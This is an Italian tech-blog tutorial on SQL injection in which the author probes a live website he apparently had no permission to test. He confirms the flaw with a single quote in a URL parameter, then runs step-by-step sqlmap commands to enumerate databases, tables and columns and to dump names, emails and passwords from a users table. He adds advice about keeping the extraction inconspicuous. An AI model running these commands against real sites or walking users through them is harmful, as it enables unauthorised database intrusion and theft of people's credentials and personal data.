
Tecnica SQL injection applicata a sito web con esempi
Cari lettori oggi dopo aver visto come hackerare un Router Wireless sfruttando il WPS, parleremo della tecnica chiamata sqliniection, una tecnica di code injection, nella maggior parte delle volte usata per attaccare applicazioni web che gestiscono dati.
Vengono inserite delle stringhe di codice SQL malevole all’interno di campi di input o direttamente nell’url del browser, in modo che queste ultime vengano poi eseguite.
SQL injection sfrutta le vulnerabilità di sicurezza del codice di un’applicazione, (quando l’input dell’utente non è correttamente filtrato da caratteri di escape contenuti nelle stringhe SQL oppure non è fortemente tipizzato e viene eseguito inaspettatamente).
Vediamo un esempio pratico di SQL injection
L’altra sera mentre navigavo in internet la mia attenzione viene attirata da un sito famoso, apparentemente non vulnerabile, fatto molto bene sia graficamente che tecnicamente. Decido di approfondire la mia ricerca ed inizio a studiare tutte le pagine del sito alla ricerca di una possibile vulnerabilità.
Quando dobbiamo testare un sito per trovare vulnerabilità, è buona norma prima di utilizzare un qualsiasi tools, studiarsi tutto il sito manualmente (personalmente lo vedo più divertente).
Parto dalla homepage e controllo i vari link presenti all’interno della pagina, diamo sempre un occhio alla barra contenente l’url e al link in basso a sinistra della pagina.
Molto spesso il link che viene inserito nell’url è differente da quello originale, questo per camuffare l’interno link.
Mentre mi studio i vari link mi accorgo che l’url contiene sulla parte finale questa stringa (nomefile.php?id=9) .
Testo la pagina inserendo nell’url quanto segue:
https://nomesito
/nomefile.php?id=9’
(controllo se c’è una possibile sqliniection da eseguire), aggiungo un apice e premo invio dalla tastiera e bingo, il sito restituisce:
Warning: mssql_query(): message: Unclosed quotation mark after the character string ''. (severity 15) in /mnt/ocfs2/centos01/web/gamma/class/class_faq_categories.php on line 23 Warning: mssql_query(): General SQL Server error: Check messages from the SQL Server (severity 15) in /mnt/ocfs2/centos01/web/gamma/class/class_faq_categories.php on line 23 Warning: mssql_query(): Query failed in /mnt/ocfs2/centos01/web/gamma/class/class_faq_categories.php on line 23 Warning: mssql_fetch_object() expects parameter 1 to be resource, boolean given in /mnt/ocfs2/centos01/web/gamma/class/class_faq_categories.php on line 24 Notice: Trying to get property of non-object in /mnt/ocfs2/centos01/web/gamma/faq/faq-api.php on line 213
Ovviamente per questioni di privacy ho eliminato nell’errore alcuni riferimenti del sito.
Recuperare le credenziali con SQLMAP
Trovata la vulnerabilità, decido di usare sqlmap, un tool presente su Kali Linux, apro un terminale e scrivo quanto segue e lo eseguo:
sqlmap -u https://nomesito /nomefile.php?id=9 --random-agent –dbs


-u (sta per URL)
–dbs (per recuperare il nome del database)
Ecco un esempio di output
[22:47:58] [INFO] fetching database names
available databases [3]:
[*] pippo
[*] master
[*] tempdb
Ho trovato 3 database, decido di concentrarmi sul database “pippo” e scrivo sul terminale:
sqlmap -u http:// nomesito /nomefile.php?id=9 -D pippo
--tables --random-agent
-D (specifico il nome database trovato)
–tables (dico a sqlmap di recuperare le tabelle del database)
Ecco un esempio di output
[22:51:25] [INFO] fetching tables for database: ‘pippo’
Database: pippo
[8 tables]
+———–+
| vino |
| carts |
| categoria |
| banchi |
| guestbook |
| pictures |
| products |
| users |
Abbiamo recuperato 8 tabelle, mi concentro però sulla tabella ‘user’
Scrivo sul terminale il comando:
sqlmap -u http:// nomesito /nomefile.php?id=9 -D pippo
-T users --columns --random-agent
-D (specifico il nome database trovato)
-T (specifico il nome della tabella)
–columns (dico a sqlmap di recuperare le colonne del database)
Ecco un esempio di output
Database: pippo
Table: users
[8 columns]
+———+————–+
| Column | Type |
+———+————–+
| address | mediumtext |
| cart | varchar(100) |
| cc | varchar(100) |
| email | varchar(100) |
| name | varchar(100) |
| pass | varchar(100) |
| phone | varchar(100) |
| uname | varchar(100) |
Ho recuperate le 8 colonne della tabella users appartenente al database pippo.
Come possiamo vedere sono presenti informazioni personali e di accesso al sito, email, name, pass(word), phone, etc.
Estrazione contenuto
Adesso proviamo ad estrarre il contenuto delle 3 colonne più interessanti, email,name e pass, digitando sul terminale:
sqlmap -u http:// nomesito /nomefile.php?id=9 -D pippo -T users -C name,email,pass --dump
Database: pippo
Table: users
[1 entry]
+———————-+—————–+——++———————-+—————–+——+
| name | email | pass |
+———————-+—————–+——++———————-+—————–+——+
| pippo pluto | email@email.com | test |
+———————-+—————–+——++———————-+—————–+——+
Ora abbiamo nome, email e password dell’unico utente presente!
Non mi assumo nessuna responsabilità dell’uso che farete della guida, in quanto stilata per uso didattico e formativo.
N.B. Vi ricordo che scaricare interi database, può risultare eccessivamente invasivo per il sistema, oltre che essere vistoso, per questo nella demo mi sono concentrato solo sugli elementi più interessanti.
Un malintenzionato sfruttando questa falla, potrebbe oltre scaricare i dati presenti nel database, cancellarli recando dei danni all’azienda.
Giorgio Perego
Responsible dei sistemi informativi di 3Vsigma
Leggi anche:
- Annunciato il rilascio della Playstation Portal
- Setapp lo store alternativo arriverà presto sugli iPhone
- Le migliori app per il fantacalcio
- Ecco Airis l’AI implementata in SigmaOS
- Cos’è il SubReddit r\Place
Ti è stato di aiuto questo articolo? Aiuta questo sito a mantenere le varie spese con una donazione a piacere cliccando su questo link. Grazie!
Seguici anche su Telegram cliccando su questo link per rimanere sempre aggiornato sugli ultimi articoli e le novità riguardanti il sito.
Se vuoi fare domande o parlare di tecnologia puoi entrare nel nostro gruppo Telegram cliccando su questo link.
© Tecnogalaxy.it - Vietato riprodurre il contenuto di questo articolo.
I PIÙ LETTI
ARTICOLI RECENTI